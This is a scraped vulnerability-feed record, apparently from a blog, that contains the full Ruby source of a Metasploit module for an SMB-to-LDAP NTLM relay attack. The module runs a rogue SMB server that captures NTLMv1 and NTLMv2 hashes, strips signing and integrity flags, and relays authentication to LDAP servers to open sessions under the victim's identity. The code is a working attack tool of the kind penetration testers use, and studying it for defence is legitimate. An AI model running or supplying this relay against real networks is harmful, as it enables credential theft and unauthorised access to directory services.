{“lastseen”:”2025-08-29T19:24:03″,”description”:”This module supports running an SMB server which validates credentials, and then attempts to execute a relay attack against an LDAP server on the …”,”published”:”2025-08-29T18:53:31″,”modified”:”2025-03-17T18:52:10″,”type”:”metasploit”,”title”:”Microsoft Windows SMB to LDAP Relay”,”source”:””,”references”:””,”id”:”MSF:AUXILIARY-SERVER-RELAY-SMB_TO_LDAP-“,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”##\\n# This module requires Metasploit: https:\/\/metasploit.com\/download\\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n##\\n\\nclass MetasploitModule \\u003c Msf::Auxiliary\\n include Msf::Exploit::Remote::SMB::RelayServer\\n include Msf::Auxiliary::CommandShell\\n\\n def initialize(info = {})\\n super(\\n update_info(\\n info,\\n ‘Name’ =\\u003e ‘Microsoft Windows SMB to LDAP Relay’,\\n ‘Description’ =\\u003e %q{\\n This module supports running an SMB server which validates credentials, and\\n then attempts to execute a relay attack against an LDAP server on the\\n configured RHOSTS hosts.\\n\\n It is not possible to relay NTLMv2 to LDAP due to the Message Integrity Check\\n (MIC). As a result, this will only work with NTLMv1. The module takes care of\\n removing the relevant flags to bypass signing.\\n\\n If the relay succeeds, an LDAP session to the target will be created. This can\\n be used by any modules that support LDAP sessions, like `admin\/ldap\/rbcd` or\\n `auxiliary\/gather\/ldap_query`.\\n\\n Supports SMBv2, SMBv3, and captures NTLMv1 as well as NTLMv2 hashes.\\n SMBv1 is not supported – please see https:\/\/github.com\/rapid7\/metasploit-framework\/issues\/16261\\n },\\n ‘Author’ =\\u003e [\\n ‘Spencer McIntyre’, # This module \\u0026 LDAP relay library\\n ‘Christophe De La Fuente’ # This module \\u0026 SMB relay updates\\n ],\\n ‘License’ =\\u003e MSF_LICENSE,\\n ‘DefaultTarget’ =\\u003e 0,\\n ‘Actions’ =\\u003e [\\n [ ‘CREATE_LDAP_SESSION’, { ‘Description’ =\\u003e ‘Create an LDAP session’ } ]\\n ],\\n ‘PassiveActions’ =\\u003e [ ‘CREATE_LDAP_SESSION’ ],\\n ‘DefaultAction’ =\\u003e ‘CREATE_LDAP_SESSION’,\\n ‘Notes’ =\\u003e {\\n ‘Stability’ =\\u003e [ CRASH_SAFE ],\\n ‘Reliability’ =\\u003e [ REPEATABLE_SESSION ],\\n ‘SideEffects’ =\\u003e [ IOC_IN_LOGS, ACCOUNT_LOCKOUTS ]\\n }\\n )\\n )\\n\\n register_options(\\n [\\n Opt::RPORT(389)\\n ]\\n )\\n\\n register_advanced_options(\\n [\\n OptBool.new(‘RANDOMIZE_TARGETS’, [true, ‘Whether the relay targets should be randomized’, true]),\\n OptInt.new(‘SessionKeepalive’, [true, ‘Time (in seconds) for sending protocol-level keepalive messages’, 10 * 60])\\n ]\\n )\\n end\\n\\n def relay_targets\\n Msf::Exploit::Remote::SMB::Relay::TargetList.new(\\n :ldap, # TODO: look into LDAPs\\n datastore[‘RPORT’],\\n datastore[‘RHOSTS’],\\n datastore[‘TARGETURI’],\\n randomize_targets: datastore[‘RANDOMIZE_TARGETS’],\\n drop_mic_only: true,\\n drop_mic_and_sign_key_exch_flags: true\\n )\\n end\\n\\n def check_options\\n unless framework.features.enabled?(Msf::FeatureManager::LDAP_SESSION_TYPE)\\n fail_with(Failure::BadConfig, ‘This module requires the `ldap_session_type` feature to be enabled. Please enable this feature using `features set ldap_session_type true`’)\\n end\\n end\\n\\n def run\\n check_options\\n\\n start_service\\n print_status(‘Server started.’)\\n\\n # Wait on the service to stop\\n service.wait if service\\n end\\n\\n def on_relay_success(relay_connection:, relay_identity:)\\n print_good(‘Relay succeeded’)\\n session_setup(relay_connection, relay_identity)\\n rescue StandardError =\\u003e e\\n elog(‘Failed to setup the session’, error: e)\\n end\\n\\n # @param [Msf::Exploit::Remote::SMB::Relay::NTLM::Target::LDAP::Client] relay_connection\\n # @return [Msf::Sessions::LDAP]\\n def session_setup(relay_connection, relay_identity)\\n client = relay_connection.create_ldap_client\\n ldap_session = Msf::Sessions::LDAP.new(\\n relay_connection.socket,\\n {\\n client: client,\\n keepalive_seconds: datastore[‘SessionKeepalive’]\\n }\\n )\\n domain, _, username = relay_identity.partition(‘\\\\\\\\’)\\n datastore_options = {\\n ‘DOMAIN’ =\\u003e domain,\\n ‘USERNAME’ =\\u003e username\\n }\\n start_session(self, nil, datastore_options, false, ldap_session.rstream, ldap_session)\\n end\\nend\\n”,”sourceHref”:”https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/modules\/auxiliary\/server\/relay\/smb_to_ldap.rb”,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/www.rapid7.com\/db\/modules\/auxiliary\/server\/relay\/smb_to_ldap\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-08-29T19:24:03″,”description”:”This module supports running an SMB server which validates credentials, and then attempts to execute a relay attack against an LDAP server on the …”,”published”:”2025-08-29T18:53:31″,”modified”:”2025-03-17T18:52:10″,”type”:”metasploit”,”title”:”Microsoft…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,169,13,33,7,11,5],"class_list":["post-15142","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-metasploit","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n